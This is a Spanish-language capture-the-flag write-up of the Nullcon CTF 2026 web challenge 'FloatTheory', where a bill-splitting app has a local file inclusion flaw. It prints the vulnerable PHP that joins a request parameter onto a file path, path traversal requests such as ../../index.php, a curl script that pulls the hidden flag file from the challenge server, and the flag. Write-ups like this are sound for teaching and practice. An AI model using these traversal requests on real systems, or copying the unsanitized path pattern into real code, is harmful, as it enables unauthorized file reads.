Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
NullconCTF2026/WriteupFloatTheory.md READ_ONLY

FloatTheory (BillSplitter Lite)

Datos del reto

Campo Valor
CTF Nullcon CTF 2026
Reto FloatTheory (BillSplitter Lite)
Categoría Web
Flag ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}

Descripción del reto

El sitio simulaba una aplicación para dividir gastos entre amigos. Toda la historia giraba alrededor de una administrative fee de 0.01, pero la vulnerabilidad estaba en cómo el backend guardaba y mostraba los archivos de cada sesión.


Reconocimiento

La aplicación permitía agregar personas, calcular el total y consultar recibos con el parámetro ?view_receipt=. Había varias pistas.

  • El campo de nombre mostraba Filename como placeholder.
  • El sitio decía que todo se guardaba en archivos del servidor.
  • El balance siempre mostraba 0.01000.

Con eso, view_receipt era el parámetro relevante.


Análisis

El problema real era un LFI. El backend concatenaba directamente el valor de view_receipt a la ruta del directorio del usuario.

$target = $user_dir . $_GET['view_receipt'];
if (file_exists($target)) {
    $lfi_content = file_get_contents($target);
}

Con una ruta como ../../index.php se podía leer el código fuente y ver lo siguiente.

  • Cada sesión tenía su propio directorio en /var/www/html/users/{session_id}/.
  • La flag se guardaba en un archivo secret_XXXXXXXX.
  • El nombre exacto de ese archivo quedaba escrito en .lock.
  • Los archivos secret_* no aparecían en la interfaz, pero seguían siendo accesibles por view_receipt.

La explotación relevante estaba en el acceso a archivos.


Resolución

La explotación salía básicamente en dos peticiones.

Primero había que leer .lock para recuperar el nombre del archivo secreto.

GET /?view_receipt=.lock

Eso devolvía algo como esto.

secret_rCAlqyJl

Después había que pedir directamente ese archivo.

GET /?view_receipt=secret_rCAlqyJl

La respuesta incluía tanto el valor 0.01 como la flag.

0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}

Si se quería automatizar, alcanzaba con algo así.

curl -sc /tmp/c http://52.59.124.14:5069/ -o /dev/null
SECRET=$(curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=.lock" | grep -oP 'secret_\w+')
curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=$SECRET" | grep -oP 'ENO\{[^}]+\}'

Flag

ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}